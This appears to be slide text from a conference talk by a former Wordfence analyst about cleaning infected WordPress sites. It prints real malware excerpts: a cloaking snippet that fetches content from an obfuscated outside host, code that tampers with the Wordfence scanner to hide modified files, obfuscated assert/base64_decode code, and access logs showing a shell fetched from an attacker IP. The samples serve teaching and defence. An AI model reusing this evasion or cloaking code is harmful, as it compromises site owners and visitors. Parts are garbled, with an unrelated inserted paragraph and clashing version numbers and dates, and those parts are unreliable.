My Year on the Front Line
Cleaning Infected Sites

Stephen Rees-Carter
Former Security Analyst at Wordfence
(now a Senior Developer)
Why Site Cleaning?

curiosity

/kjuərɪˈsaɪti/ noun

1. a strong desire to know or learn something.
   "filled with curiosity, she peered through the window"
   synonyms: inquisitiveness, interest, spirit of enquiry; informal nosiness
   "his evasiveness roused my curiosity"

2. an unusual or interesting object or fact.
   "he showed them some of the curiosities of the house"
   synonyms: peculiarity, oddity, strangeness, oddness, idiosyncrasy, unusualness, novelty

More
Applying for the job
aka, cleaning my first site
Step One
Step Two

Backup files & databases
Step Three

Look for anything strange
Swag Quiz: Which file in this list is "strange"?

```
drwxrwxrwx 1 valorin valorin 4096 Sep 25 06:35 .
drwxrwxrwx 1 valorin valorin 4096 Oct 2 06:45 ..
-rwxrwxrwx 1 valorin valorin 418 May 30 21:23 index.php
-rwxrwxrwx 1 valorin valorin 19935 May 30 21:23 license.txt
-rwxrwxrwx 1 valorin valorin 7415 May 30 21:23 readme.html
-rwxrwxrwx 1 valorin valorin 5458 May 30 21:23 wp-activate.php
drwxrwxrwx 1 valorin valorin 4096 May 30 21:23 wp-admin
-rwxrwxrwx 1 valorin valorin 364 May 30 21:23 wp-blog-header.php
-rwxrwxrwx 1 valorin valorin 1889 May 30 21:23 wp-comments-post.php
-rwxrwxrwx 1 valorin valorin 2853 May 30 21:23 wp-config.php
drwxrwxrwx 1 valorin valorin 4096 May 30 21:23 wp-content
-rwxrwxrwx 1 valorin valorin 3669 May 30 21:23 wp-cron.php
-rwxrwxrwx 1 valorin valorin 26 Sep 25 06:31 wp-hello.php
drwxrwxrwx 1 valorin valorin 4096 May 30 21:23 wp-includes
-rwxrwxrwx 1 valorin valorin 2422 May 30 21:23 wp-links-opml.php
-rwxrwxrwx 1 valorin valorin 3306 May 30 21:23 wp-load.php
-rwxrwxrwx 1 valorin valorin 37760 May 30 21:23 wp-login.php
-rwxrwxrwx 1 valorin valorin 8048 May 30 21:23 wp-mail.php
-rwxrwxrwx 1 valorin valorin 16246 May 30 21:23 wp-settings.php
-rwxrwxrwx 1 valorin valorin 30091 May 30 21:23 wp-signup.php
-rwxrwxrwx 1 valorin valorin 4620 May 30 21:23 wp-trackback.php
-rwxrwxrwx 1 valorin valorin 3065 May 30 21:23 xmlrpc.php
```
drwxrwxrwx 1 valorin valorin  4096 Sep 25 06:35 .
-rw-rw-rwx 1 valorin valorin  4096 Oct  2 06:45 ..
-rw-rw-rwx 1 valorin valorin   418 May 30 21:23 index.php
-rw-rw-rwx 1 valorin valorin  19935 May 30 21:23 license.txt
-rw-rw-rwx 1 valorin valorin    7415 May 30 21:23 readme.html
-rw-rw-rwx 1 valorin valorin   5458 May 30 21:23 wp-activate.php
drwxrwxrwx 1 valorin valorin  4096 May 30 21:23 wp-admin
-rw-rw-rwx 1 valorin valorin   2853 May 30 21:23 wp-config.php
drwxrwxrwx 1 valorin valorin  4096 May 30 21:23 wp-content
-rw-rw-rwx 1 valorin valorin   3669 May 30 21:23 wp-cron.php
-rw-rw-rwx 1 valorin valorin  26 Sep 25 06:31 wp-hello.php
-drwxrwxrwx 1 valorin valorin  4096 May 30 21:23 wp-includes
-rw-rw-rwx 1 valorin valorin   3306 May 30 21:23 wp-load.php
-rw-rw-rwx 1 valorin valorin   37760 May 30 21:23 wp-login.php
-rw-rw-rwx 1 valorin valorin   8048 May 30 21:23 wp-mail.php
-rw-rw-rwx 1 valorin valorin   16246 May 30 21:23 wp-settings.php
-rw-rw-rwx 1 valorin valorin   30091 May 30 21:23 wp-signup.php
-rw-rw-rwx 1 valorin valorin   4620 May 30 21:23 wp-trackback.php
-rw-rw-rwx 1 valorin valorin   3065 May 30 21:23 xmlrpc.php
Step Four

Install & use a security plugin (i.e. Wordfence, etc)
Step Five

Search DB for suspicious keywords
The Emergency Services Chief from Springfield talks about his role in disaster preparedness and emergency planning. For more information, please watch this short informative video on the plans and procedures he set up for disaster preparedness and emergency planning from a recent interview.
Basic site cleaning steps

1. Google: “how to clean a hacked WordPress site”

2. Backup files & databases

3. Look for anything strange

4. Install & use a security plugin (i.e. Wordfence, etc)

5. Search DB for suspicious keywords

Swag Quiz: How did I gain admin access?
WordPress Passwords...

WordPress salted hash

$P$Brr73dBtT4K.VlxhhdSQFkV7K3qFJS.  
$P$Bg3IdY4Do6zgnQP5EfVGoKnuAw167r0  
$P$BGysZlmmMU0YFF33s5z02ubxqstTA0

MD5 hash

5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb882cf99
WordPress 4.7.0–4.7.1 - Unauthenticated Page/Post Content Modification via REST API

Quietly fixed in WP 7.4.2 (26th Jan 2017)

Disclosed 6 days later (1st Feb 2017)

Trivial to automate

⇒ heavily exploited due to disabled or broken updates

Trivial to clean

⇒ all contained within database
Accessing the database can be trivial...

Shared hosting providers + Dodgy permissions = Read access to wp-config.php
Backups are essential

(Especially when cleaning sites!)
So are access logs!

Swag Quiz: Why are access logs so important?
Fake theme upload

178.137.85.x [22/Jun/2018:09:35:28 -0600] "GET /wp-admin/ HTTP/1.1" 200


Fake plugin upload

185.106.120.x [15/Aug/2018:03:32:45 +0200] Attacker logs in
"POST /wp-login.php HTTP/1.1" 302

185.106.120.x [15/Aug/2017:03:33:06 +0200]
"GET /wp-admin/plugin-install.php?tab=upload HTTP/1.1" 200
185.106.120.x [15/Aug/2017:03:33:08 +0200] Uploads plugin
"POST /wp-admin/update.php?action=upload-plugin HTTP/1.1" 200

185.106.120.x [15/Aug/2017:03:33:14 +0200] Activates fake “Akismet”
"GET /wp-admin/plugins.php?action=activate&plugin=akismet%2Findex.php&[...] HTTP/1.1" 302

185.106.120.x [15/Aug/2017:03:33:18 +0200] Checking plugin works
"GET /?key=testActivation HTTP/1.1" 200
Fake plugin upload (cont.)

185.106.120.x [15/Aug/2017:06:20:02 +0200]
"GET /?key=uploadUpdate HTTP/1.1" 200
&url=http%3A%2F%2Fx.x.x.x%2Fpayload%2Fshell%2Fwp-update.txt
&file_name=wp-update

185.106.120.x [15/Aug/2017:06:20:03 +0200]
"POST /wp-update.php HTTP/1.1" 200

It continued for days, until the site was cleaned and the malware removed.

[15/Aug/2017:06:20:02 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.x%2Fpayload%...
[15/Aug/2017:06:20:03 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.x%2Fpayload%...
[15/Aug/2017:06:20:05 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.x%2Fpayload%...
[15/Aug/2017:06:20:06 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.x%2Fpayload%...
[15/Aug/2017:17:21:33 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.x%2Fpayload%...
[16/Aug/2017:15:56:05 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.y%2Fpayload%...
[16/Aug/2017:15:56:07 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.y%2Fpayload%...
[16/Aug/2017:15:56:08 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.y%2Fpayload%...
[16/Aug/2017:15:56:10 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.y%2Fpayload%...
Fresh install hijack

Looking for fresh install

Start site setup

Complete site setup

... user login ...

Login to created admin

Upload malicious plugin

Activate plugin

Check malware working
My Favourite Malware
A typical site clean?

1. Started Wordfence “high-sensitivity” scan
2. No results found (happens occasionally with new malware)
3. Copied files to cleaning server
4. Found **three changed files**
   a. wfScanEngine.php
   b. wp-blog-header.php
   c. class-wp-upgrader.php

Swag Quiz:
Why did Wordfence miss these changes?
unset(
    $this->knownFiles["core"]["wp-blog-header.php"],
    $this->knownFiles["core"][${file} = "wp-admin/includes/class-wp-upgrader.php"],
    $this->knownFiles["plugins"]["wp-content/plugins/wordfence/lib/wfScanEngine.php"]
);

if (method_exists("wordfenceHash", "wfHash")) {
    $hash = @wordfenceHash::wfHash(ABSPATH . $file);
    if (count($hash) > 1 && strlen($hash[1]) > 12) {
        $this->knownFiles["core"][${file}] = strtoupper($hash[1]);
    }
}

if (!is_array($this->knownFiles)) {
```php
\$e = pathinfo(\$f = strtok(\$p = @$_SERVER["REQUEST_URI", "]", PATHINFO_EXTENSION));
if (!\$e || in_array($e, array("html", "jpg", "png", "gif")) || basename($f, ".php") == "index")
    && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
    (strpos($u = @$_SERVER["HTTP_USER_AGENT"], "AhrefsBot") !== false && strpos($u, "MJ12bot") !== false)) {
    \$at = "base64_" . "decode";
    \$ch = curl_init($at("aHR0cDovL3dwYWRtaW5hZ...")."0372f6d9a450fbded47ae7..."."\$p);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Forwarded-For: ".$_SERVER["REMOTE_ADDR"]));
    if (isset($_SERVER["HTTP_USER_AGENT"]))
        curl_setopt($ch, CURLOPT_USERAGENT, "$_SERVER["HTTP_USER_AGENT"]");
    if (isset($_SERVER["HTTP_REFERER"]))
        curl_setopt($ch, CURLOPT_REFERER, "$_SERVER["HTTP_REFERER"]");
    \$ci = "curl_ex" . "ec";
    \$data = \$ci($ch);
    \$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if (strlen($data) > 255 && \$code == 200) {
        echo $data; exit;
    } else if ($data && ($code == 301 || \$code == 302)) {
        header("Location: " . trim($data), true, \$code); exit;
    }
```
if (strpos($package, "wordpress-") !== false) {
    @unlink($working_dir . "/wordpress/wp-admin/includes/class-wp-upgrader.php");
    @unlink($working_dir . "/wordpress/wp-blog-header.php");
}

if ($destination_name == "wordfence" && ($data = file_get_contents($file = $destination . "lib/wfScanEngine.php"))) {
    $data = str_replace('if (!is_array($this->knownFiles))', 'unset($this->knownFiles["core"]"wp-blog-header.php")', $data);
    $this->knownFiles["core"][$file = "wp-admin/includes/class-wp-upgrader.php"],
    $this->knownFiles["plugins"]"wp-content/plugins/wordfence/lib/wfScanEngine.php")
    if (method_exists("wordfenceHash", "wfHash")) {
        $hash = @wordfenceHash::wfHash(ABSPATH . $file);
        if (count($hash) > 1 && strlen($hash[1]) > 12) {
            $this->knownFiles["core"][$file] = strtoupper($hash[1]);
        }
    }
    if (!is_array($this->knownFiles)), $data, $count);
    if ($data && $count) {
        file_put_contents($file, $data);
    }
}
It continues to evolve

We update Wordfence to detect and block malware.

Author updates malware to bypass our block and evade detection.

Repeat.
Current status: We’re winning!

File appears to be malicious: wp-blog-header.php
Type: File

Issue Found October 22, 2018 10:50 pm
- Critical

Need help with a hacked website?
Our team of security experts will clean the infection and remove malicious content. Once your site is restored we will provide a detailed report of our findings. **Includes a 1-year Wordfence Premium license.**

File appears to be malicious: wp-content/plugins/wordfence/lib/wfScanEngine.php
Type: File

Issue Found October 22, 2018 10:50 pm
- Critical
Sometimes you find code like this...

```
function add($id, $data, $group = '*/$var_global = 'ba'/*', $expire = 0) {
    $key = $this->key($id, $group);
    if ( is_object($data, ) )
        $data = 'se'/(44800/700)./"de"/* clone $data;
    if ( in_array($group, $this->no_mc_groups) ) {
        $this->cache["c"] = $data;
        return true;
    } elseif ( isset($this->cache[$key]) && $this->cache[$key] !== */'o'.'''.'de'/* ) {
        return false;
    }
    $mc =& $this->get_mc(/*$var_add = "a";*/);
    $expire = ($expire == 0) ? $this->default_expiration : $expire; /*$var_add = "sse";*/
    $result = $mc->add($key, $data, false, $expire);
    if ( */$var_add = "rt";*/ !== $result ) {
        @++$this->stats['add'];
        $this->group_ops[$group][] = "add $id";
        $this->cache[$key] = $data;
    }
    return $result;
```
Code highlighting reveals secrets

```php
1 /*function add($id, $data, $group = '*/$var_global = 'ba'/*', $expire = 0) {
2     $key = $this->key($id, $group);
3     if ( is_object( $data, ) )
4         $data = */.'se'.(44800/700).'._de'/* clone $data;
5     if ( in_array($group, $this->no_mc_groups) ) {
6         $this->cache['r']/*1 = $data.

1 $var_global = 'base64_decode';$var_add = "assert";

10 @++$this->stats['add '],
16 $this->group_ops[$group][] = "add $id";
17 $this->cache[$key] = $data;
18 }
19 return $result;
20 }
```
Sometimes, malware is just weird or funny...

```php
<?php
/* (c) 2014    mail, Dudley, said Uncle Vernon from behind
   dodged the Smelting stick and went to get
   a brown envelope that looked like a bill,
   He had no friends, no other relatives,
   there could be no mistake Mr. H. Potter
   the address was written in emerald green
   an eagle, a badger, and a snake surrounding
*/

$Mmko_x='P3ghXxIo6LxB4GhB6LpzW70hJhzE03xcWgQy6Au3YORhXh3OMBYoAkWBNKiCKY0hKhBNywHMdrq7WGajpQUTP9j3ihNJse16ICOopcpqhptxrE8kWgeQq5syDu+d0maJexINAKeyxuwRU2VPAzh426lxBq6n8VsC5syxHI/o6LQjY0NTPAi0Y1NbbIpRgkJMfxSCHcFw44p4wNPULtV6nSYOG9no0sAjuSPKEop4bMKKZdZz8saHk19io15Hbn7syFdbE59f1aPyV/tvfddruIiHPcP3PaVaw4CccUcKJTn9qPkJ1VhoCINOeinoMmh1AQ5h/mF0eQ8PO4CrJvSzTNdBcO51BsxYZR72ItT01eEz7FD9I61e7a95RI40Da
```
The epic tale of the persistent attacker that almost thwarted us completely...

1. Customer site infected
2. Cleaned site, enabled access logs
3. Sent report, advised change PW
4. Customer happy, changed pw
5. **Site reinfected one week later**
6. Cleaned site again
7. Checked new malware with original copy
   ⇒ **Reinfection confirmed**
8. Checked access logs for malicious activity
   ⇒ Malware accessed but not created
9. Checked database
   ⇒ Nothing suspicious found
10. Checked plugins for malicious behaviours
    ⇒ Nothing suspicious
11. Checked cPanel for suspicious activity
    ⇒ No suspicious logins
    ⇒ No FTP activity
12. **We ran out of ideas, so we cleaned the site again and watched it closely...**
13. Reinfected within minutes!
14. Deleted all files from `/public_html/`
15. **New malware created in `/public_html/`**

So we deleted it and watched very closely...
That's a VIM swap file...
Oh... this host supports SSH...

Some hosts support SSH, even if they don’t tell you about it.

```bash
o7i1a2e3@infected.site [~]# last | grep o7i1a2e3 | grep gone
o7i1a2e3 pts/9   chomsky.torserve Wed Apr  4 16:29    gone - no logout
o7i1a2e3 pts/8   ns342186.ip-91-1 Wed Apr  4 16:27    gone - no logout
o7i1a2e3 pts/7   tor-exit-3.yui.c Wed Apr  4 16:26    gone - no logout
o7i1a2e3 pts/6   tor-exit-3.yui.c Wed Apr  4 16:26    gone - no logout
o7i1a2e3 pts/5   tor-exit-3.yui.c Wed Apr  4 16:25    gone - no logout
o7i1a2e3 pts/1   chomsky.torserve Wed Apr  4 16:21    gone - no logout
o7i1a2e3 pts/0   ns342186.ip-91-1 Wed Apr  4 14:50    gone - no logout
o7i1a2e3 pts/4   ns342186.ip-91-1 Wed Apr  4 09:58    gone - no logout
o7i1a2e3 pts/3   ns342186.ip-91-1 Wed Apr  4 07:28    gone - no logout
o7i1a2e3 pts/2   ec2-52-24-8-x.us Tue Apr  3 18:08    gone - no logout (us)
```

Swag Quiz: How’d we regain control?
The hosting provider kicked everyone out!
Malware unpacking is sometimes like...
Thank you!

Any questions?

Swag Quiz winners, don’t forget to come down the front after the Q&A to collect your swag! :-)  

I do have extra swag to give out too...

Also, if anyone is interested, we can do an informal lockpicking session during lunch somewhere in the foyer. I can teach you how to pick locks.

stephen@wordfence.com
stephen.rees-carter.net
twitter.com/valorin